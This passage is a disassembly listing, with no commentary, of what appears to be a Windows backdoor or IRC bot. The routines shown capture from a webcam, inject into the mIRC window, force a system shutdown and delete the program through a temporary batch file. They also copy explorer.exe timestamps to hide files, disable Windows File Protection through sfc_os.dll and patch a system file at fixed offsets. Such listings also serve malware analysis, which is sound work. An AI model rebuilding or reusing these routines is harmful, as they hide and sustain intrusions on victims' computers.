		mov	dword_427438, eax


loc_404856:				; CODE XREF: sub_403C25+BFEj
					; sub_403C25+C06j ...
		mov	dword_427434, 1


loc_404860:				; CODE XREF: sub_403C25+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404895
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_42726C, eax
		call	esi	; GetProcAddress
		cmp	dword_42726C, ebx
		mov	dword_427344, eax
		jz	short loc_4048A0
		cmp	eax, ebx
		jnz	short loc_4048AA
		jmp	short loc_4048A0
; ---------------------------------------------------------------------------


loc_404895:				; CODE XREF: sub_403C25+C46j
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_427440, eax


loc_4048A0:				; CODE XREF: sub_403C25+C68j
					; sub_403C25+C6Ej
		mov	dword_42743C, 1


loc_4048AA:				; CODE XREF: sub_403C25+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_403C25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048B2	proc near		; CODE XREF: sub_40997B+B11p
					; sub_40997B+B45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40493D
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40493D
		cmp	[ebp+arg_8], esi
		jz	short loc_40493D
		cmp	byte ptr [eax],	0
		jz	short loc_40493D
		push	ebx
		push	edi
		call	sub_419742
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_404938
		push	[ebp+arg_4]
		push	edi
		call	sub_4102A0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_404931
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_410090
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_40E730
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_40FF60
		push	[ebp+arg_4]
		call	sub_40E730
		add	eax, esi
		push	eax
		push	ebx
		call	sub_40ED30
		push	ebx
		push	edi
		call	sub_40ED20
		add	esp, 30h
		mov	esi, edi


loc_404931:				; CODE XREF: sub_4048B2+3Cj
		push	ebx
		call	sub_40ECAF
		pop	ecx


loc_404938:				; CODE XREF: sub_4048B2+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40493F
; ---------------------------------------------------------------------------


loc_40493D:				; CODE XREF: sub_4048B2+Cj
					; sub_4048B2+13j ...
		xor	eax, eax


loc_40493F:				; CODE XREF: sub_4048B2+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4048B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404943	proc near		; CODE XREF: sub_409802+EAp

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_40E800
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_40E730
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_404979
		or	eax, 0FFFFFFFFh
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_404979:				; CODE XREF: sub_404943+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40499B


loc_404985:				; CODE XREF: sub_404943+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_404992
		cmp	dl, 0Dh
		jnz	short loc_404996


loc_404992:				; CODE XREF: sub_404943+48j
		and	byte ptr [ecx+esi], 0


loc_404996:				; CODE XREF: sub_404943+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_404985


loc_40499B:				; CODE XREF: sub_404943+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4049CC
		lea	edi, [ebp+var_7CC]


loc_4049A8:				; CODE XREF: sub_404943+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4049C7
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4049C7
		cmp	ebx, 1F4h
		jge	short loc_4049CC
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4049C7:				; CODE XREF: sub_404943+69j
					; sub_404943+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_4049A8


loc_4049CC:				; CODE XREF: sub_404943+5Dj
					; sub_404943+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4049EA
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_40E940
		add	esp, 0Ch


loc_4049EA:				; CODE XREF: sub_404943+8Ej
		mov	eax, ebx


loc_4049EC:				; CODE XREF: sub_404943+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_404943	endp


; =============== S U B	R O U T	I N E =======================================



sub_4049F0	proc near		; CODE XREF: sub_404A4A+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_404A29
		push	ebx
		mov	ebx, edi


loc_404A0D:				; CODE XREF: sub_4049F0+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_404A2C
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_404A0D
		pop	ebx


loc_404A29:				; CODE XREF: sub_4049F0+18j
		pop	edi
		pop	esi
		retn
sub_4049F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A2C	proc near		; CODE XREF: sub_4049F0+25p
					; sub_404A4A+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_410320
		cmp	al, 61h
		pop	ecx
		jl	short loc_404A47
		cmp	al, 7Ah
		jg	short loc_404A47
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_404A47:				; CODE XREF: sub_404A2C+Ej
					; sub_404A2C+12j
		xor	eax, eax
		retn
sub_404A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A4A	proc near		; CODE XREF: sub_407B2E+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_40EC80
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_40E730
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_40E730
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4049F0
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_404A88:				; CODE XREF: sub_404A4A+B6j
		test	esi, esi
		jle	short loc_404B06
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_410320
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_410320
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404AFE


loc_404AAE:				; CODE XREF: sub_404A4A+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_404A2C
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_404ACF
		mov	eax, ecx


loc_404ACF:				; CODE XREF: sub_404A4A+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_404B02
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_410320
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_410320
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_404AAE


loc_404AFE:				; CODE XREF: sub_404A4A+62j
		dec	edi
		dec	esi
		jmp	short loc_404A88
; ---------------------------------------------------------------------------


loc_404B02:				; CODE XREF: sub_404A4A+8Aj
		xor	eax, eax
		jmp	short loc_404B0B
; ---------------------------------------------------------------------------


loc_404B06:				; CODE XREF: sub_404A4A+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_404B0B:				; CODE XREF: sub_404A4A+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B10	proc near		; CODE XREF: sub_40997B+2A8Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_41A0A8	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_404B49:				; CODE XREF: sub_404B10+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_404B55
		cmp	cl, 9
		jnz	short loc_404B58


loc_404B55:				; CODE XREF: sub_404B10+3Ej
		inc	eax
		jmp	short loc_404B49
; ---------------------------------------------------------------------------


loc_404B58:				; CODE XREF: sub_404B10+43j
					; sub_404B10+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_404B72
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_404B58
		cmp	cl, 21h
		jl	short loc_404B58


loc_404B72:				; CODE XREF: sub_404B10+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_427444
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_40E7AB
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_404B10	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B9A	proc near		; CODE XREF: sub_40997B+2A50p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_427320	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_404C16
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_41A0B4	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_41A0B0	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_40EE10
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_427370	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_427370	; SendMessageA
		push	ebx
		call	dword_41A0AC	; UnmapViewOfFile
		push	edi
		call	dword_41A068	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_404C18
; ---------------------------------------------------------------------------


loc_404C16:				; CODE XREF: sub_404B9A+16j
		xor	eax, eax


loc_404C18:				; CODE XREF: sub_404B9A+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_404B9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C1C	proc near		; CODE XREF: sub_409034+218p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4273D0	; SearchPathA
		test	eax, eax
		jz	short loc_404CBB
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_41A074
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404CBB
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_41A0BC	; GetFileTime
		push	ebx
		mov	ebx, dword_41A068
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404CBB
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_41A0B8	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_404CBB:				; CODE XREF: sub_404C1C+2Aj
					; sub_404C1C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404C1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_40997B+1357p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_40DAF6
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_42725C	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_404CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CE2	proc near		; CODE XREF: sub_407CCD+3A4p
					; sub_407CCD+48Ep ...

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_41FBEC, esi
		push	edi
		jz	short loc_404D06
		cmp	dword_4273E4, esi
		jnz	short loc_404D06
		push	esi
		call	sub_407C5D
		pop	ecx


loc_404D06:				; CODE XREF: sub_404CE2+13j
					; sub_404CE2+1Bj
		call	sub_40E39F
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_41A0D0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_41A074	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_404E66
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_41A06C	; WriteFile
		push	edi
		call	dword_41A068	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_40E800
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40E800
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_424EF4
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_41A0A4	; GetModuleHandleA
		push	eax
		call	dword_41A078	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_41A0CC	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404E0E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_41A0C8	; SetFileAttributesA


loc_404E0E:				; CODE XREF: sub_404CE2+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_40EE10
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_41A0C4	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_41A0C0	; CreateProcessA


loc_404E66:				; CODE XREF: sub_404CE2+72j
		pop	edi
		pop	esi
		leave
		retn
sub_404CE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E6A	proc near		; CODE XREF: sub_40997B+2251p
					; sub_40997B+2F4Bp ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_0], 0
		push	esi
		push	edi
		jz	loc_404EFC
		push	offset byte_424EF4
		push	[ebp+arg_0]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404EFC
		push	20h
		lea	eax, [ebp+var_20]
		push	[ebp+arg_0]
		push	eax
		call	sub_410090
		mov	esi, offset a_	; "."
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_4103EB
		add	esp, 14h
		test	eax, eax
		jz	short loc_404EFC
		push	eax
		call	sub_40FB66
		push	esi
		push	0
		mov	edi, eax
		call	sub_4103EB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404EFC
		push	eax
		call	sub_40FB66
		cmp	edi, 0Ah
		pop	ecx
		jz	short loc_404EF7
		cmp	edi, 0ACh
		jnz	short loc_404EE8
		cmp	eax, 0Fh
		jle	short loc_404EFC
		cmp	eax, 20h
		jl	short loc_404EF7


loc_404EE8:				; CODE XREF: sub_404E6A+72j
		cmp	edi, 0C0h
		jnz	short loc_404EFC
		cmp	eax, 0A8h
		jnz	short loc_404EFC


loc_404EF7:				; CODE XREF: sub_404E6A+6Aj
					; sub_404E6A+7Cj
		push	1
		pop	eax
		jmp	short loc_404EFE
; ---------------------------------------------------------------------------


loc_404EFC:				; CODE XREF: sub_404E6A+Cj
					; sub_404E6A+23j ...
		xor	eax, eax


loc_404EFE:				; CODE XREF: sub_404E6A+90j
		pop	edi
		pop	esi
		leave
		retn
sub_404E6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F02	proc near		; CODE XREF: sub_4061A3+7p
					; sub_406539+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_427354	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_404F2A
		push	[esp+arg_0]
		call	dword_427398	; gethostbyname
		test	eax, eax
		jnz	short loc_404F23
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_404F23:				; CODE XREF: sub_404F02+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_404F2A:				; CODE XREF: sub_404F02+Dj
		retn
sub_404F02	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F2B	proc near		; CODE XREF: sub_4095BB+22Ep
		mov	ecx, dword_42723C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_404F39
		call	ecx	; DnsFlushResolverCache

locret_404F39:				; CODE XREF: sub_404F2B+Aj
		retn
sub_404F2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F3A	proc near		; CODE XREF: sub_401000+8Ap
					; .packed:00402250p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4272B8	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_427648
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset dword_41E35C
		push	esi
		call	sub_40EE10
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_404F3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F93	proc near		; CODE XREF: sub_406287+1C8p
					; sub_406287+20Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_404FBC
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_404FAF:				; CODE XREF: sub_404F93+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_404FAF
		pop	edi
		jmp	short loc_404FC0
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404F93+Aj
		mov	edx, [esp+4+arg_0]


loc_404FC0:				; CODE XREF: sub_404F93+27j
		test	esi, esi
		pop	esi
		jz	short loc_404FCA
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_404FCA:				; CODE XREF: sub_404F93+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_404F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE0	proc near		; CODE XREF: sub_4095BB+F1p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_41A0D4	; GetVersionExA
		cmp	[ebp+var_90], 5
		jnz	short loc_40502B
		cmp	[ebp+var_8C], 1
		jnz	short loc_40502B
		lea	eax, [ebp+var_80]
		push	offset a2	; "2"
		push	eax
		call	sub_4102A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40502B
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40502B:				; CODE XREF: sub_404FE0+27j
					; sub_404FE0+30j ...
		xor	eax, eax
		leave
		retn
sub_404FE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40502F	proc near		; CODE XREF: sub_405076+A1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+var_200]
		push	100h
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	dword_41A064	; MultiByteToWideChar
		push	offset aSfc_os_dll ; "sfc_os.dll"
		call	dword_41A09C	; LoadLibraryA
		push	5
		push	eax
		call	dword_41A0A0	; GetProcAddress
		lea	ecx, [ebp+var_200]
		push	0FFFFFFFFh
		push	ecx
		push	0
		call	eax
		leave
		retn
sub_40502F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405076	proc near		; DATA XREF: sub_4095BB+18Do

var_3B0		= dword	ptr -3B0h
var_3A0		= byte ptr -3A0h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= byte ptr -198h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_88		= byte ptr -88h
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	46h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1A0]
		rep movsd
		push	1
		mov	edx, offset dword_41EF08
		pop	esi
		mov	ecx, offset dword_41EF04
		mov	[eax+114h], esi
		mov	eax, offset dword_424F04
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_50], offset dword_41EF00
		mov	[ebp+var_4C], offset dword_41EEFC
		mov	[ebp+var_48], offset dword_41EEF8
		mov	[ebp+var_44], eax
		mov	[ebp+var_40], edx
		mov	[ebp+var_3C], ecx
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_70], offset dword_41EEF4
		mov	[ebp+var_6C], offset dword_41EEF0
		mov	[ebp+var_68], offset dword_41EEEC
		mov	[ebp+var_64], eax
		mov	[ebp+var_60], edx
		mov	[ebp+var_5C], ecx
		mov	[ebp+var_58], eax
		mov	[ebp+var_54], eax
		mov	[ebp+var_8], ebx
		call	sub_40E882
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], ebx
		mov	[esp+3B0h+var_3B0], 7530h
		call	dword_41A060	; Sleep
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_40502F
		pop	ecx
		mov	edi, 80h
		lea	eax, [ebp+var_198]
		push	edi
		push	eax
		call	dword_41A0C8	; SetFileAttributesA
		push	ebx
		push	edi
		push	3
		push	ebx
		push	esi
		lea	eax, [ebp+var_198]
		push	80000000h
		push	eax
		call	dword_41A074	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40516F
		lea	ecx, [ebp+var_80]
		push	ecx
		lea	ecx, [ebp+var_78]
		push	ecx
		lea	ecx, [ebp+var_88]
		push	ecx
		push	eax
		call	dword_41A0BC	; GetFileTime
		push	[ebp+arg_0]
		call	dword_41A068	; CloseHandle


loc_40516F:				; CODE XREF: sub_405076+D8j
		lea	eax, [ebp+var_198]
		push	offset aRB	; "r+b"
		push	eax
		call	sub_40FF46
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_4051C0
		push	offset unk_41EEBC
		lea	eax, [ebp+var_3A0]
		push	200h
		push	eax
		call	sub_40E7AB
		lea	eax, [ebp+var_3A0]
		push	eax
		call	sub_407A4E
		push	[ebp+var_19C]
		call	sub_40E4F2
		add	esp, 14h
		push	ebx
		call	dword_41A084	; ExitThread


loc_4051C0:				; CODE XREF: sub_405076+111j
		mov	eax, [ebp+var_94]
		dec	eax
		jz	loc_405289
		dec	eax
		jnz	loc_405337
		mov	[ebp+var_30], 130h
		mov	[ebp+var_2C], 131h
		mov	[ebp+var_28], 132h
		mov	[ebp+var_24], 133h
		mov	[ebp+var_20], 4F5A2h
		mov	[ebp+var_1C], 4F5A3h
		mov	[ebp+var_18], 4F5A4h
		mov	[ebp+var_14], 4F5A5h
		mov	[ebp+var_4], ebx


loc_40520F:				; CODE XREF: sub_405076+1D8j
		mov	eax, [ebp+var_4]
		push	ebx
		push	[ebp+eax+var_30]
		push	[ebp+arg_0]
		call	sub_40FE9A
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_40FC5A
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_70]
		push	[ebp+var_C]
		call	sub_4105A0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_405246
		inc	[ebp+var_8]


loc_405246:				; CODE XREF: sub_405076+1CBj
		add	[ebp+var_4], 4
